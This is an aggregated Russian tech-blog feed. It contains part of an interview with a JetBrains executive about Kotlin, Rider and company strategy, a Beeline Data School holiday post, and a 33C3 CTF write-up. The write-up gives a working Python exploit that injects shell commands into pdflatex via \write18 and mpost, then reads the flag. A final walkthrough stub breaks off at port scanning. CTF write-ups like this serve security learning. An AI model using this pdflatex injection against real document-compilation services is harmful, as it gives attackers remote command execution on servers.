    — То есть сначала вы это вдвоём делали? В четыре руки, в две головы?

    — Ну, это слишком нескромно. Участвовали другие люди, конечно. Всякие идеи обрабатывались и апробировались в коридоре. Очень много ребят (тот же Дима Жемеров, тот же Илья Рыженков, Володя Решетников, который сейчас в Microsoft), высказывали массу идей, комментировали. Или Рома Елизаров — он пришёл к нам, потому что я позвал: «Ром, я буду в JetBrains рассказывать, как мы будем делать язык программирования, приходи».

    — Какой это был год?

    — 2011-й. Может, 2012-й. Рома пришёл, послушал, сказал: «Чуваки, всё классно… Но Nullability». И мы такие: «Ну это трудно: дженерики, interoperability с Java»… Он: «Nullability, чуваки». И появилось Nullability.

    — Это очень интересно, потому что Рома Елизаров зимой тоже был в «Без слайдов», и тогда он ещё был сотрудником компании Devexperts, а теперь он сотрудник компании JetBrains и внезапно он делает Kotlin Native, о котором мы ещё поговорим. То есть он ещё тогда, на том этапе, был человеком, который существенно повлиял на язык?

    — Да, именно Рома предложил конкретно Nullability. И это сейчас, наверное, одна из самых главных фич в Котлине — это понятная вещь, удобно объяснять пользователю. Но Рома дал идею, а нам пришлось действительно сильно пыхтеть для того, чтобы сделать её реализацию в языке удобной, потому что Nullability в типовой системе… Если её наложить на Java, этим невозможно будет пользоваться. Нужны ещё какие-то механизмы в языке: вопросики, точки…

    — Я видел, Андрей рассказывал: один восклицательный знак, два восклицательных знака, вопросительный знак…

    — Всё это довольно итеративно появлялось.

    — Когда вы это запускали, у вас был прогноз «тогда-то мы выпустим язык»?

    — Да. У нас был прогноз, что мы выпустим язык через полтора года. Потому что «чё там делать — надо всего лишь написать компилятор».

    — А релиз состоялся, как я понимаю, этой весной?

    — Лет через пять после той даты, когда мы сказали, что будет через полтора года.

    — Пять лет: сначала два, потом пять, сейчас уже чуть ли не тридцать или даже больше, делают новый язык программирования. Это огромное количество сил, нервов и, конечно, денег. То есть, скорее всего, каждый год на этот проект компания тратит миллионы долларов. Как вы вообще оцениваете эту инвестицию с точки зрения бизнеса?

    — Как стратегическую.

    — То есть вы делаете серьёзную ставку на Kotlin?

    — Да, абсолютно. Когда Kotlin станет мейнстрим-языком, значение компании JetBrains для рынка Software Engineering, на котором она работает, будет совершенно другим. То есть, про нас будут говорить, что мы не какие-то ребята, которые делают удобные, но в любой момент заменяемые инструменты, а как про тех, кто делает некоторую корневую фичу экосистемы, на которой всё строится. Это другой вес, другой информационный поток, и деньги, я думаю, тоже другие.

    — На момент интервью в РБК ты называл годовой оборот, по-моему, в 147 миллионов долларов. Это большие деньги. Вы инвестируете вообще в другие проекты, кроме Kotlin? Вот языки вы уже все съели, только IDE для Go, наверное, нет. (интервью было взято до анонса Gogland — прим. авт.)

    — Будет!

    — Отлично, теперь все узнали, что таки-будет. Есть язык Go, есть JetBrains…

    — «Вы привлекательны, я чертовски привлекателен, чего зря время терять»…

    О серверных тулах


    — С этой историей мне всё понятно. А вот что дальше? Позволяет ли вам ваш нынешний объём инвестировать в разные проекты исследовательские, может быть, в другие компании?

    — Смотри. С точки зрения JetBrains мы для себя определили на ближайшие сколько-то лет, что JetBrains всё-таки занимается Software Development. Всё-таки наш клиент — это программист или команда программистов, и мы будем делать продукт, который сфокусирован на этой группе. Конечно, это не только IDE.

    В частности, ты говорил про серверные тулы — на мой взгляд, сейчас у нас в них не полная картинка. У нас есть тулы, которые закрывают какие-то конкретные фичи, а других конкретных фич не хватает. Это какое-то кусочное вырезание, аппликация из общего одеяла. А нам бы хотелось сделать инструмент, который является для команды настолько же интегрированной средой, насколько IDE является средой для программиста.

    И анекдот заключается в том, что когда мы начинали, например, TeamCity, наш первый серверный продукт, у нас была ровно такая мысль. Мы сказали: «Вот, ребята, мы сделали IDE, можно сказать, что она готова— в принципе уже в 2005-м от IDE ничего больше было не надо.

    Инкрементальные улучшения, конечно, имеют большой эффект кумулятивно, но, тем не менее, это инкрементальные улучшения. И вот мы думаем: окей, давайте мы сделаем Integrated Team Environment, но с чего-то нужно начать, с какой-то конкретной истории. Тогда для Continuous Integration, был CruiseControl — это такая система, которая хранится на одной машинке, которую нужно конфигурировать xml-ным файлом. И если у тебя, например, два проекта, нужны две машинки, если билд идёт долго, то опять же нужны две машинки, их надо отдельно настраивать, никакой интегрированной истории, в общем, трэш и угар.

    — Но в то время Косукэ Кавагути уже работал над Hudson, который сейчас Jenkins.

    — Тогда мы не знали про Hudson, знали только про CruiseControl, это был конец 2004-го. Так вот, что такое Integrated Team Environment, было еще непонятно, и мы решили сделать понятную конкретную вещь: Continuous Integration. Сделали, по-моему, за год или полтора, выпустили, пришли пользователи, сказали «не хватает вот этого и этого», мы сделали это и это, выкатили пользователям, они сказали «нам теперь ещё вот здесь подмазать, здесь подкрасить, здесь ещё вот эту version control system интегрировать», ну и мы, что называется, увлеклись.

    Этот процесс напоминает следующее: человек начинает копать ямку под дерево, а потом случайно выкапывает траншею, и по сторонам уже ничего не видно. Единственное, что он может делать — эту траншею углублять. И так же у нас получился YouTrack, так же получился UpSource (code review-тул), и сейчас мы в очередной раз пытаемся переосмыслить «а что такое вообще командный инструмент, как он должен быть устроен».

    — С TeamCity я примерно понимаю, всё-таки сборка софта — это специфическая для индустрии область. Но вот, скажем, какой-нибудь YouTrack можно использовать и в не-айтишной компании. Скажем, я в JUG.ru Group делаю конференции, мы для работы используем JIRA. Мы используем её как конструктор бизнес-процессов, используем её API для интеграции с разными внешними формочками, и это крутейшая вещь! Стейт-машина, фактически. Думали ли вы о том, чтобы выходить с тем же YouTrack на какие-то не-айтишные, не-софтверные рынки?

    — Он используется и у не-айтишников. Есть люди, которые делают системы продаж на YouTrack. У них какая-то форма, в которой клиент заполняет какие-то поля, в результате это оказывается в YouTrack issue, там настроен workflow-процесс обработки этого заказа, и всё.

    — То есть тоже как классическая стейт-машина.

    — При этом, поскольку всё кастомизируется и там навороченные workflow на MPS можно рисовать, то да. Но всё это инициатива конкретных пользователей, и YouTrack туда пришёл в эти компании через каких-то девелоперов. Для того, чтобы делать продукт, ориентированный на бизнес в целом, надо научиться заходить к этому бизнесу с каких-то сторон, про которые мы толком не знаем. И, может быть, это и было бы полезно, но, с другой стороны, у нас есть наша любимая пользовательская база, о которой мы многое знаем, что можем сделать для неё в разы больше. И нам не нужно будет придумывать какую-то историю про то, чем JetBrains на данный момент не является.

    О конкуренции с Microsoft


    — Мы немного затронули тему Eclipse, IBM, и это, видимо, было начало двухтысячных. Сейчас вы выводите на рынок с Rider.

    Это вообще было очень смешно, потому что год назад в «Без Слайдов» пришёл Серёга Шкредов, и на vjq вопрос «Будете ли вы делать C# IDE?» ответил: «Нет, ты что!» А через неделю вышел анонс, что JetBrains такую IDE таки делает. Было весело!

    Вы сейчас, фактически, выходите на рынок против Microsoft. Rider — это конкурент Visual Studio, который отъест у неё некоторую долю рынка. И это немного отличается от ситуации с Java, потому что там был отдельно вендор, который делал технологию Java (в то время — SUN Microsystems), и были отдельно вендоры, которые делали для нее IDE — IBM и вы. Была сановская технология и две компании, которые делали для нее тулинг.

    .NET — это технология, которая фактически принадлежит Microsoft, несмотря на все их опенсорсы. Они ваши партнёры, ваш ReSharper работает поверх их Visual Studio, и так далее. Имея весь этот сложный бэкграунд, выводить на рынок конкурирующий продукт — это страшно, не страшно? Как вы это всё видите?

    — Смотри. Во-первых, кроме Sun Studio, NetBeans, был ещё JBuilder и куча других игроков. «Конкурент Visual Studio» совсем не означает «конкурент Microsoft», потому что Microsoft — большой. Microsoft как компания в целом, заинтересован, чтобы их платформа была как можно более широко используема. Для платформы здоровая конкурентная среда, в которой есть тулинг, инфраструктура, является конкурентным преимуществом. Одной ногой мы их конкуренты, потому что отъедаем у них какую-то денежку, которую недополучит Visual Studio, но другой ногой мы привлекаем к ним новых клиентов, которые сядут в Azure и будут писать на .NET.

    — Очень хорошо, что ты сказал про Azure. У меня постоянно происходят разговоры в индустрии, и один человек из Microsoft год назад мне сказал следующее: «Для нас .NET — это legacy-технология». Он сказал, что ставки делаются на какие-то другие вещи: на мобайл, на Azure, на IoT. И, в принципе, это хорошо видно по тем маркетинговым активностям, которые они сейчас делают.

    Когда вы делаете Rider, который позиционируется как C# IDE, учитываете ли вы, что у Microsoft немножко другое направление и видение и с Azure, и с мобильными вещами…

    — Microsoft большой. Microsoft — это не человек, который может принять для себя решение, что он пойдёт на запад, а не на север. Microsoft может пойти во все стороны одновременно, потому что их 70 000 человек (на самом деле, более 100 000 — прим. авт.). Если они будут развивать Azure, это не значит, что они не будут развивать .NET.

    Понятно, что они, наверное, сейчас не делают на .NET главную ставку. Понятно, что история с мобильным Microsoft не взлетела, и это, похоже, стало ясно самому Microsoft. Тем не менее, Enterprise-приложения во всяких банковских структурах в большом количестве пишутся на .NET. Банки могут хотеть, например, слезть с виндовой инфраструктуры на Linux, потому что это дешевле операционно. Для этого они сядут на Mono или .NET Core, отсюда есть необходимость в кроссплатформенной разработке. Есть Xamarin — тоже некоторая кроссплатформенная история.

    — Microsoft идёт в Linux Foundation.

    — А все везде идут. Вот Google идёт в .NET Foundation.

    — Получается, что у гигантов индустрии есть интересы вообще везде?

    — Конечно. Это подтверждает то, о чем я говорю. Они и не должны ставить на какую-то одну лошадь.

    Об отношении к деньгам


    — Ещё интересная история — то, что вы частная компания. Вас пытались ли купить?

    — Да.

    — Приходили предложения о покупке, и они как-то обсуждались. Что вы в этой ситуации чувствовали, как принимали решение и за счёт чего до сих пор остались компанией без IPO и не принадлежащей другой компании?

    — Какая-то философщина сейчас пойдёт. Смотри: по идее, бизнес делается с целью зарабатывания денег.

    — В уставе любого ООО написано: «с целью извлечения прибыли». Философствования философствованиями, а в уставе у компании должно быть это!

    — Конечно, написано. Но у нас в JetBrains есть ощущение, что зарабатывание денег является не целью, а некоторым средством для того, чтобы делать интересные и полезные вещи. Чем больше мы заработаем денег, тем более интересные и полезные вещи мы сможем сделать.

    Периодически возникает ситуация, когда то, что мы сделали, интересно какому-то большому игроку. Потому что повторять всю эту историю — дорого, долго, пока ни у кого ещё не получилось, и 15 лет ждать, пока оно вырастет, а может, не вырастет… В общем, дешевле купить, сколько бы это ни стоило. Но нам-то это зачем?

    — То есть вам это не нужно?

    — Вот exit: представляешь, ты делаешь 15 лет классный продукт, а потом тебе предлагают много денег (ну, ты и так много имеешь, но предлагают вообще очень много денег), и ты меняешь дело жизни на кучку денег. Зачем?

    — Это интересный подход. Сейчас вокруг мы видим огромную истерию вокруг стартапов, и недавно даже был на эту тему обозленный пост на Медиуме. Мне очень понравилась мысль оттуда, что мы живём в мире, в котором «стартаперского дискурса» стало как-то очень много. Сам подход «сделать что-то и продать это кому-то за миллионы» становится чуть ли не доминирующим в мире. И вы на этом фоне смотритесь очень…

    — Инородно.

    — Да, правильное слово. Как вам удаётся удержаться?

    — От какого соблазна?

    — Ну вот приходит к вам Oracle, предлагают котлету денег, 10 миллиардов.

    — Ну, ты загнул, но…

    — Ну я же не знаю цены, говорю наобум. Многие люди, особенно стартаперская среда, привыкли оперировать словами «инвестиция», «цена» и всеми этими страшными аббревиатурами, которые были в том самом посте. Очень интересно, что вы вообще это для себя не рассматриваете. Вы не чувствуете этого давления? Мне кажется, это должно создавать давление. Должна ли быть цель какая-то за пределами денег?

    — Ну конечно. Много денег банально тяжело осмысленно потратить. А если ты пытаешься заработать деньги чисто ради спорта, то надо откровенно признаться себе, что это спорт. «Вот он заработал два миллиарда, а я пять. Кто круче? Я». Нет.

    — Вы сильно выросли. Вы растёте, как я понимаю, на десятки процентов в год, если не быстрее…

    — У нас, как ни странно, линейный рост: мы нанимаем порядка 50-70 человек в год.

    — Это по количеству людей, а по деньгам — у вас, очевидно, экспонента. А не боитесь, что выйдете на плато, когда, условно, съели всех Java-программистов, и на этом всё остановится, и надо что-то делать? У вас нет инвесторского давления «вы должны расти, должны больше денег», понятно, что частной компании в этом смысле чуть легче — но ощущаете ли вы сами, что плато близко? Насколько далеко до него, по твоим ощущениям?

    — Возможно ли плато? Конечно, возможно, куда денется. Я думаю, что запас есть лет на пять.

    — Вы уже начинаете думать о том, что вы будете делать дальше?

    — Конечно! Kotlin, например. И интегрированную среду для команд разработчиков. И ещё у нас есть инициатива вложиться в образование.

    — Это история со Stepik.org?

    — Это целый комплекс историй.

    По вашим ощущениям, сам IT-рынок растёт? Количество Java-программистов, .NET-программистов, PHP-программистов увеличивается с каждым годом?

    — Суммарное число — да, конечно. Есть мнение, что софт вообще всё сожрёт.

    — Герман Греф, например, говорил год назад на гайдаровском форуме, что Сбербанк будет трансформироваться из банка в IT-компанию.

    — Надо понимать, что для банка это чрезвычайно сложная трансформация. Я не могу представить себе, как это фактически будет реализовано. Но, тем не менее, надо отдать Грефу все возможные кредиты, что он вообще про это задумывается, что он такие цели ставит, это просто здорово.

    О том, кто такой Product Marketing Manager


    — У вас есть должность, которая называется Product Marketing Manager (далее — PMM). Что это за история, придумывали ли вы сами или откуда-то взяли, и довольны ли вы тем, что в итоге получилось?

    — Ой, сразу распишусь в собственной безграмотности: я не знаю, спёрли ли мы или это наша придумка. Но сложилось очень здорово. Это была такая трансформация. Сначала у нас был отдел маркетинга. После того, как программисты написали какую-то фичу и сделали релиз, нужно было побеседовать со специальными людьми, рассказать «смотрите, у нас в релизе, как нам кажется, такие-то фичи есть, напишите блог-пост». Потом приходил блог-пост, глядя на который, я выбирал весь свой лимит матерных слов, вырывал все оставшиеся волосы на голове… Эти посты подходили для продажи зубной пасты, пива. Превосходные термины…

    — «Awesome», «perfect», «brilliant», «excellent»… У меня закончился словарный запас!

    — Приблизительно так. Причём у человека есть словарный запас приблизительно таких эпитетов, и он по одному подставляет их к очередной фиче.

    — Нельзя же повторять одно и то же слово, ты должен чередовать awesome и perfect!

    — Человек с образованием, который умеет писать тексты, понимает, что нельзя, а что можно. Но у программистов, нашей целевой аудитории, есть очень серьёзный булшит-фильтр: если ты видишь булшит, срабатывает флаг в голове. Я не могу извлечь семантику из текста, в котором есть определённый уровень булшита. Текст должен быть содержательным, а не красиво и правильно написанным. Выяснилось, что нам нужны люди, которые могут написать такие тексты.

    А потом выяснилось ещё, что они не могут написать такие тексты, если они не являются частью команды. Если они не понимают семантики слов, которые пишут, если они просто делают редактуру, то никакой гениальный человек не может сделать хороший не-булшитовый текст. Так мы пришли к тому, что у нас человек просто сидит в команде, пишет тексты, общается с пользователями наравне с программистами и доносит миру, что происходит.

    Потом выяснилось, что в каждом продукте такой человек есть, и что они должны общаться между собой, чтобы JetBrains выглядел как не две-три кучки разрозненных чуваков, каждая из которых делает свой продукт по собственному разумению, а как слаженная общая история. И теперь эти PMM’ы, с одной стороны, в продукте, а с другой, они общая кучка, которая постоянно между собой общается. И кроме PMM’ов, мы пытаемся эту историю в других областях применять, вроде DevOps, например.

    — Возвращаясь к истории про догфудинг. PMM-ы у вас вырастают из разработчиков, а не из маркетологов. Встает вопрос про необходимость маркетингового образования для них, про понимание функционирования рынков и т.п. Но они же бывшие инженеры. Как одно матчится с другим?

    — Очень кусочно. Я не могу сказать, что мы следуем всем новомодным тенденциям в маркетинге, что мы прочитали все умные книжки. Кто-то из PMM-ов читает профессиональную литературу, кто-то пытается заниматься самообразованием, кто-то работает по наитию, кто-то внимательно слушает, что ему говорят коллеги, а кто-то, наоборот, внимательно не слушает, потому что коллеги говорят полную хрень. Каждый себе на уме.

    На самом деле, в PMM’ы приходят самыми разными путями. Есть люди, которые не инженеры, не умеют писать продакшен-код. Но, в принципе, понимают, как это делается. Есть среди них и боевые инженеры, что-то делавшие, но у которых больше развиты социальные функции.

    О найме сотрудников


    Есть какие-то ключевые функции бизнеса: разработка, продажи, маркетинг, HR. Если не секрет, что из этого всего для тебя — головная боль? Или где ты видишь наибольшие перспективы?

    — Те проблемы, которые я вижу, я пытаюсь решать. Но есть проблемы, которые я не вижу. Есть проблемы, которые неизбежно должны вырасти просто потому, что компания растёт — коммуникации, может быть, обмен информацией, стандартизация, какие-то политики, и так далее.

    — По тем признакам, которые видны снаружи, вы скорее стартап, но по финансовым показателям вы — серьёзный бизнес. Как вы это матчите?

    — Это очень просто матчится, вообще нет никакого конфликта. У нас организация такая, что команда, которая делает продукт, автономна. В принципе, ей ничего ни от кого не нужно. Нужны определённые сервисные функции: чтобы в офисе было тепло, сухо и комфортно, чтобы была техника, инфраструктура работала, чтобы был налаженный диалог с HR’ом, приходили хорошие новые люди. Если эти проблемы решены, команда сработает сама. Она зарабатывает N денег. Другая точно такая же команда заработает 2N денег. Ну и что?

    — HR — это же не только про найм людей. У тебя есть бизнес, и ты, наверное, в идеале хочешь понять, какие нужны люди, чтобы бизнес развивался. «А тут мне нужно закрыть дыру». И это довольно трудно, особенно с точки зрения программирования: понять, какой программист мне нужен, чтобы он вытянул новый продукт. Вот, условно говоря, Андрей Бреслав — Language Architect. Это же вообще ни фига не простая задача — найти архитектора языка.

    — Ты же понимаешь, что мы не выходили на рынок, не писали вакансию на HeadHunter: «Нам нужен Language Architect, чтобы писать язык». Так не делается. Просто встретились, и выяснилось, что человек может делать эту работу. До этого мы не знали, что он нам нужен. И так же во всём остальном.

    У нас есть другая проблема (не знаю, правда, проблема ли это). Мы не можем нанимать людей на руководящие позиции. То есть мы много про это думали, но я до сих пор не понимаю, как это делать.

    — Такой человек не интегрируется в компанию?

    — Cкорее всего, интегрируется, мы просто не знаем, с какой стороны к этому подойти. Скажем, пусть у нас есть продукт, в котором слабый руководитель — чисто теоретически, я ничего не имею в виду. Как? Что, перебрать? Это же не секретарь на ресепшен, про которого можно за полтора часа собеседования понять, что он из себя представляет с точки зрения этих функций.

    — Люди, которые у вас работают, изучали много математики, изучали программирование, IT. А когда с человеком происходит трансформация и он становится руководителем, ему становятся нужны совершенно другие компетенции. Нет ли здесь ловушки?

    — У нас обычно руководителем де-юре становится тот, кто уже является руководителем своей команды де-факто.

    — И вы просто официально это закрепляете.

    — Да. То есть это человек, у которого есть авторитет среди коллег, к которому прислушиваются, которого зовут что-то обсудить. Поэтому все нужные скиллы для того, чтобы работать над этим продуктом в этой команде, у него обычно есть.

    О Kotlin Native


    — Понятно. Наверное, последний вопрос — про Kotlin Native. Для меня важным показателем того, насколько серьёзно компания относится к продукту, является то, какие люди там работают. Сейчас в Kotlin Native появились Николай Иготти и Роман Елизаров. Приход таких мощных специалистов — это для меня показатель, что вы делаете на это направление серьёзную ставку. Ты можешь про это рассказать — почему именно Kotlin Native? Сейчас эта история (может быть, не для рынка, но вот для меня конкретно) выглядит громче и занимает в моей башке даже более серьёзную позицию, чем просто Kotlin.

    — Потому что ты, что называется, слишком много знал про другую платформу и как она устроена. Смотри, глобальная история про Kotlin должна заключаться в том, что на Kotlin пишут на всём и подо всё. Язык, как мне кажется, получился хорошим и развиваемым в этом направлении. От этого возникают прекрасные сингулярные фичи, и доказательства этого мы видим в джаваскриптовом мире, где возник Node.js. Что такое Node.js? Может быть, меня сейчас закидают (хотя через экран это сложно сделать), но он ведь сделан ровно для того, чтобы можно было писать один и тот же код и на клиенте, и на сервере.

    — Ну, не только. Есть вторая история «я уже знаю JavaScript, но вот мне срочно надо писать серверный код».

    — Мне кажется, что это ловушка, потому что язык здесь очень маленькая часть. Сервер пишется совсем не так, как клиент, просто потому что там другая история, другая логика процесса.

    — Я всё понимаю, но если у меня в руке молоток, я умею писать на JavaScript, то всё остальное мне начинает казаться гвоздём.

    — Каждый из этих факторов приводит немножко разных людей в Node.js. Те люди, о которых ты говоришь — это очень публичная история. Но ведь очень серьёзные приложения пишутся на Node! Просто потому что у тебя исчезает некоторый барьер между клиентом и сервером, исчезает необходимость общаться в примитивном JSON’е. Можно писать фреймворки высокого уровня, которые синхронизируют данные в реалтайме, и прочая, и прочая.

    Но на JavaScript. Если бы вместо джаваскрипта здесь был существенно более качественный язык программирования и существенно более качественная среда исполнения, то, наверное, это было бы круто.

    — Правильно ли я понимаю, что, условно говоря, сейчас основной конкурент Kotlin-а — это JavaScript?

    — Интересная точка зрения. Не знаю.

    — JS сейчас самый быстрорастущий язык в индустрии, это видно по многим параметрам.

    — Kotlin-у такие темпы роста, конечно, пока не снятся. В абсолютном выражении — в относительном, может, и снятся, я не считал. Ну да, наверное, его можно так рассматривать. И отсюда естественным образом вырастает Kotlin Native, потому что, кроме браузеров, будут ещё другие устройства. Это телефоны, это IoT. В IoT всё совсем плохо с точки зрения инфраструктуры, тулинга…

    — Там со всех точек зрения плохо!

    — Поэтому, если начать с языка программирования с хорошим тулингом, который при этом на сервере может логику обслуживать, то win-win, profit.

    — Oracle, например, заговорил про Internet of Things, мне кажется, ещё лет пять назад, я ещё там только начинал работать, и тогда вообще никто не понимал, что это такое. Было только слово «IoT» и были гиганты со своими, отличающимися друг от друга, понятиями и концепциями. Казалось, что пройдёт два-три года, и они о чём-то договорятся. Сейчас стало чуть больше понимания, что такое IoT — много маленьких устройств, Big Data в бэкенде, но полного понимания до сих пор нет. Все с этим носятся, но никто этого не видит, не чувствует и, на самом деле, не использует. А потенциально все орут, что это наше будущее. Что ты думаешь по этому поводу?

    — Понятия не имею.

    — То есть вы на этот рынок не смотрите?

    — Нам не надо на него смотреть. Мы точно знаем, что люди будут писать программы. Есть, конечно, вариант, когда люди будут, не знаю, наговаривать программы или брать их прямо из мозга, но пока, на ближайшую перспективу, люди пишут программы на языках программирования. И, кажется, нет обоснования того, что эти языки программирования обязательно должны быть какими-то динозавроподобными. То есть мне сложно обосновать, почему нужно писать именно на C, а не на языке, который ближе к Котлину.

    — То есть что бы это ни было — или cloud, или IoT, или что угодно — JetBrains будет делать для этого инструменты?

    — Да. И как в мультике про Смешариков, будем тапочки выдавать. В смысле IDE продавать.

    Комментарии (0)

      This article passed through the Full-Text RSS service - if this is your content and you're reading it on someone else's site, please read the FAQ at http://ift.tt/jcXqJW.
      Recommended article: The Guardian's Summary of Julian Assange's Interview Went Viral and Was Completely False.

      Школа Данных «Билайн»: с Наступающим

      Итак, заканчивается 2016 год. Для нас он был очень активным. Было 6 выпусков нашего курса для аналитиков, 5 выпусков курса для менеджеров (Data-MBA). Мы запустили курс в Санкт-Петербурге и уже провели первый выпуск. В партнерстве мы также обучали студентов Высшей Школы Экономики и Российской Экономической Школы, проводили мастер-классы в Сколково, участвовали в десятках хакатонов по всей стране, консультировали ведущие компании касательно применения аналитики и монетизации данных. В этом году один из наших преподавателей стал первым в мире в рейтинге Kaggle.

      В 2017 мы продолжаем и растем. 16 января у нас запускается очередной курс для аналитиков данных, 5 февраля — для менеджеров, а 30 января стартует второй аналитический курс в Санкт-Петербурге.

      Также, следуя многочисленным запросам 28 февраля мы запускаем наш курс для менеджеров в Санкт-Петербурге.

      Мы поздравляем вас с наступающим Новым Годом. Желаем, чтобы он был полон свершений и открытий на поприще Big Data, искусственного интеллекта, машинного обучения и не только. Надеемся, что 2017 год еще в большей степени будет годом стартапов в области Big Data и искусственного интеллекта, годом создания экосистем обмена данными между компаниями и их совместной монетизации, годом взлета облачных сервисов, годом перехода во многих компаниях от пилотных проектов в области Big Data к реальной монетизации.

      С наступающими праздниками и до встречи в Новом Году. Уверены, что будет весело)

      Школа Данных «Билайн»

      Комментарии (0)

        This article passed through the Full-Text RSS service - if this is your content and you're reading it on someone else's site, please read the FAQ at http://ift.tt/jcXqJW.
        Recommended article: The Guardian's Summary of Julian Assange's Interview Went Viral and Was Completely False.

        33C3 CTF Эксплуатируем уязвимость LaTeX'а в задании pdfmaker

        Этот небольшой write-up будет посвящен разбору одного из заданий с недавнего CTF 33С3. Задания ещё доступны по ссылке, а пока рассмотрим решение pdfmaker из раздела Misc.

        Собственно, описание задания:
        Just a tiny application, that lets the user write some files and compile them with pdflatex. What can possibly go wrong?

        nc 78.46.224.91 24242


        К заданию прилагался скрипт, исходным кодом сервиса:
        pdfmaker_public.py
        #!/usr/bin/env python2.7
        # -*- coding: utf-8 -*-
        
        import signal
        import sys
        from random import randint
        import os, pipes
        from shutil import rmtree
        from shutil import copyfile
        import subprocess
        
        class PdfMaker:
        
          def cmdparse(self, cmd):
            fct = {
              'help': self.helpmenu,
              '?': self.helpmenu,
              'create': self.create,
              'show': self.show,
              'compile': self.compilePDF,
              'flag': self.flag
            }.get(cmd, self.unknown)
            return fct
        
          def handle(self):
            self.initConnection()
            print " Welcome to p.d.f.maker! Send '?' or 'help' to get the help. Type 'exit' to disconnect."
            instruction_counter = 0
            while(instruction_counter < 77):
              try:
                cmd = (raw_input("> ")).strip().split()
                if len(cmd) < 1:
                   continue
                if cmd[0] == "exit":
                  self.endConnection()
                  return
                print self.cmdparse(cmd[0])(cmd)
                instruction_counter += 1
              except Exception, e:
                print "An Exception occured: ", e.args
                self.endConnection()
                break
            print "Maximum number of instructions reached"
            self.endConnection()
        
          def initConnection(self):
            cwd = os.getcwd()
            self.directory = cwd + "/tmp/" + str(randint(0, 2**60))
            while os.path.exists(self.directory):
              self.directory = cwd + "/tmp/" + str(randint(0, 2**60))
            os.makedirs(self.directory)
            flag = self.directory + "/" + "33C3" + "%X" % randint(0, 2**31) +  "%X" % randint(0, 2**31)
            copyfile("flag", flag)
        
        
          def endConnection(self):
            if os.path.exists(self.directory):
              rmtree(self.directory)
        
          def unknown(self, cmd):
            return "Unknown Command! Type 'help' or '?' to get help!"
        
          def helpmenu(self, cmd):
            if len(cmd) < 2:
              return " Available commands: ?, help, create, show, compile.\n Type 'help COMMAND' to get information about the specific command."
            if (cmd[1] == "create"):
              return (" Create a file. Syntax: create TYPE NAME\n"
                      " TYPE: type of the file. Possible types are log, tex, sty, mp, bib\n"
                      " NAME: name of the file (without type ending)\n"
                      " The created file will have the name NAME.TYPE")
            elif (cmd[1] == "show"):
              return (" Shows the content of a file. Syntax: show TYPE NAME\n"
                      " TYPE: type of the file. Possible types are log, tex, sty, mp, bib\n"
                      " NAME: name of the file (without type ending)")
            elif (cmd[1] == "compile"):
              return (" Compiles a tex file with the help of pdflatex. Syntax: compile NAME\n"
                      " NAME: name of the file (without type ending)")
        
          def show(self, cmd):
            if len(cmd) < 3:
              return " Invalid number of parameters. Type 'help show' to get more info."
            if not cmd[1] in ["log", "tex", "sty", "mp", "bib"]:
              return " Invalid file ending. Only log, tex, sty and mp allowed"
        
            filename = cmd[2] + "." + cmd[1]
            full_filename = os.path.join(self.directory, filename)
            full_filename = os.path.abspath(full_filename)
        
            if full_filename.startswith(self.directory) and os.path.exists(full_filename):
              with open(full_filename, "r") as file:
                content = file.read()
            else:
              content = "File not found."
            return content
        
          def flag(self, cmd):
            pass
        
          def create(self, cmd):
            if len(cmd) < 3:
              return " Invalid number of parameters. Type 'help create' to get more info."
            if not cmd[1] in ["log", "tex", "sty", "mp", "bib"]:
              return " Invalid file ending. Only log, tex, sty and mp allowed"
        
            filename = cmd[2] + "." + cmd[1]
            full_filename = os.path.join(self.directory, filename)
            full_filename = os.path.abspath(full_filename)
        
            if not full_filename.startswith(self.directory):
              return "Could not create file."
        
            with open(full_filename, "w") as file:
              print "File created. Type the content now and finish it by sending a line containing only '\q'."
              while 1:
                text = raw_input("");
                if text.strip("\n") == "\q":
                  break
                write_to_file = True;
                for filter_item in ("..", "*", "/", "\\x"):
                  if filter_item in text:
                    write_to_file = False
                    break
                if (write_to_file):
                  file.write(text + "\n")
            return "Written to " + filename + "."
        
          def compilePDF(self, cmd):
            if (len(cmd) < 2):
              return " Invalid number of parameters. Type 'help compile' to get more info."
            filename = cmd[1] + ".tex"
            full_filename = os.path.join(self.directory, filename)
            full_filename = os.path.abspath(full_filename)
            if not full_filename.startswith(self.directory) or not os.path.exists(full_filename):
              return "Could not compile file."
            compile_command = "cd " + self.directory + " && pdflatex " + pipes.quote(full_filename)
            compile_result = subprocess.check_output(compile_command, shell=True)
            return compile_result
        
        def signal_handler_sigint(signal, frame):
          print 'Exiting...'
          pdfmaker.endConnection()
          sys.exit(0)
        
        if __name__ == "__main__":
          signal.signal(signal.SIGINT, signal_handler_sigint)
        
          pdfmaker = PdfMaker()
          pdfmaker.handle()
        


        После изучения скрипта, становится понятно, что мы имеем дело с pdflatex. Быстрый поиск в гугл выдаёт ссылку на статью с описанием недавней уязвимости. Так же определяем, что нужный нам флаг начинается с 33C3 и далее идёт рандомная последовательность.

        Воспользуемся им, и напишем небольшой скрипт для более удобного выполнения команд:

        #!/usr/bin/python3
        import socket
        
        def send(cmd):
                s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                s.connect(("78.46.224.91", 24242))
                x = '''verbatimtex
        \documentclass{minimal}\begin{document}
        etex beginfig (1) label(btex blah etex, origin);
        endfig; \end{document} bye
        \q
        '''
                s.send('create mp x\n'.encode())
                s.send(x.encode())
        
                s.send('create tex test\n'.encode())
                test = '''\documentclass{article}\begin{document}
        \immediate\write18{mpost -ini "-tex=bash -c (%s)>flag.tex" "x.mp"}
        \end{document}
        \q
        ''' %(cmd)
                s.sendall(test.encode())
                s.send('compile test\n'.encode())
                s.send('show tex flag\n'.encode())
                data = s.recv(90240)
                data = data.decode()
                s.close()
                return data
        
        while True:
                cmd = input('> ')
                cmd = cmd.replace(' ','${IFS}')
                print(send(cmd))        
        
        

        После запуска, выяснилось, что символ слеша, не верно обрабатывается, и команда, в которой он присутствует не выполняется. Шелл у нас есть, осталось вывести флаг командой:
        ls | grep 33 | xargs cat
        

        Задание пройдено, флаг найден!

        Комментарии (0)

          This article passed through the Full-Text RSS service - if this is your content and you're reading it on someone else's site, please read the FAQ at http://ift.tt/jcXqJW.
          Recommended article: The Guardian's Summary of Julian Assange's Interview Went Viral and Was Completely False.

          VulnHub: Разбор IMF 1 и очередное переполнение буфера

          В этот раз рассмотрим Boot2Root IMF 1 от VulnHub. Имеется 6 флагов, каждый из которых содержит подсказку к получению следующего. Так же рекомендую ознакомиться с разборами предыдущих заданий.

          Начнём


          Начнём как обычно, со сканирования портов:
